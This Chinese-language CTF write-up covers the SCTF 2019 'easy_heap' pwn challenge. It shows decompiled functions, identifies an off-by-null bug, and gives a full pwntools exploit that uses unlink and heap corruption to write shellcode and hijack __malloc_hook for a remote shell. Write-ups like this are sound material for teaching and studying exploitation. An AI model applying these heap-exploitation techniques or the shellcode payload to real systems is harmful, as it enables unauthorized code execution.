easy_heap

发表于 2021-01-04 分类于 Challenge， 2019， SCTF， Pwn
Challenge | 2019 | SCTF | Pwn | easy_heap

点击此处获得更好的阅读体验

解题思路

这个题主要是在offbynull上，题目如果预期解是house of orange的话这个题就复杂了很多但是其实用unlink解就容易多了。

静态分析

main

主要实现了功能

```
1  void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2  {
3    unsigned int v3; // [rsp+14h] [rbp-Ch]
4    unsigned __int64 v4; // [rsp+18h] [rbp-8h]
5    v4 = __readfsqword(0x28u);
6    v3 = 0;
7    sub_CD0();
8    while ( 1 )
9    {
10     while ( 1 )
11     {
12       menu();
13       _isoc99_scanf(&unk_12A8, &v3);
14       if ( v3 != 2 )
15         break;
16       del();
17     }
18     if ( v3 > 2 )
19     {
20       if ( v3 == 3 )
21       {
22         fill();
23       }
24       else
25       {
26         if ( v3 == 4 )
27           exit(0);
28 LABEL_13:
29         puts("Invalid choice!");
30       }
31     }
32     else
33     {
34       if ( v3 != 1 )
35         goto LABEL_13;
36       add();
37     }
38   }
39 }
```

del

正常的一个删除函数

```
1  int del()
2  {
3    void *v0; // rax
4    unsigned int v2; // [rsp+Ch] [rbp-4h]
5    printf("Index: ");
6    v2 = sub_EE5();
7    if ( v2 <= 0xF && qword_202060[2 * v2 + 1] )
8    {
9      free(qword_202060[2 * v2 + 1]);
10     qword_202060[2 * v2 + 1] = 0LL;
11     qword_202060[2 * v2] = 0LL;
12     v0 = &unk_202040;
13     --unk_202040;
14   }
15   else
16   {
17     LODWORD(v0) = puts("Invalid index.");
18   }
19   return (signed int)v0;
```

fill

这里存在一个off by null的漏洞是可以利用的

```
1  int fill()
2  {
3    unsigned int v1; // [rsp+4h] [rbp-Ch]
4    printf("Index: ");
5    v1 = sub_EE5();
6    if ( v1 > 0xF || !qword_202060[2 * v1 + 1] )
7      return puts("Invalid index.");
8    printf("Content: ");
9    return input((__int64)qword_202060[2 * v1 + 1], (unsigned __int64)qword_202060[2 * v1]);
10 }
```

思路分析

1. *进行一个unlink控制全局变量，这题还有别的解法就是off by null来unlink或者largebin attack 去控制和写入mmap的内存*
2. *写入mmap内存为shellcode然后利用fastbin attack 改写malloc_hook*

   这里的方法细节是在bss段构造一个fakechunk然后free进入unsortedbin 会有libc地址残留在指针处，然后改指针的低位，就可以malloc到需要的地方，然后改malloc_hook为one就可以了。

EXP

```python
from pwn import*
context.arch = "amd64"
context.log_level = "debug"
#p = process("./easy_heap")#,env={"LD_PRELOAD":"./libc.so.6"})
a = ELF("./easy_heap")
e = a.libc
print hex(e.symbols["puts"])
p = remote("132.232.100.67",10004)
#gdb.attach(p)#,"b *0x5555555554a0")
def add(size):
    p.recvuntil(">> ")
    p.sendline("1")
    p.recvuntil("Size: ")
    p.sendline(str(size))
def remove(idx):
    p.recvuntil(">> ")
    p.sendline("2")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
def edit(idx,content):
    p.recvuntil(">> ")
    p.sendline("3")
    p.recvuntil("Index: ")
    p.sendline(str(idx))
    p.recvuntil("Content: ")
    p.sendline(content)
p.recvuntil("Mmap: ")
mmap_addr = int(p.recvuntil("\n",drop=True),16)
print hex(mmap_addr)
add(0xf8)
p.recvuntil("Address 0x")
addr = int(p.recvline().strip(),16) - 0x202068
add(0xf8)
add(0x20)
edit(0,p64(0)+p64(0xf1)+p64(addr+0x202068-0x18)+p64(addr+0x202068-0x10)+"a"*0xd0+p64(0xf0))
remove(1)
edit(0,p64(0)*2+p64(0xf8)+p64(addr+0x202078)+p64(0x140)+p64(mmap_addr))
edit(1,asm(shellcraft.sh()))
bss_addr = 0x202040
edit(0,p64(addr+0x202090)+p64(0x20)+p64(0x91)+p64(0)*17+p64(0x21)*5)
remove(1)
edit(0,p64(0)*3+p64(0x100)+'\x10')
edit(3,p64(mmap_addr))
add(0x20)
p.interactive()
```


 # Challenge # Pwn # 2019 # SCTF

签到题

easywasm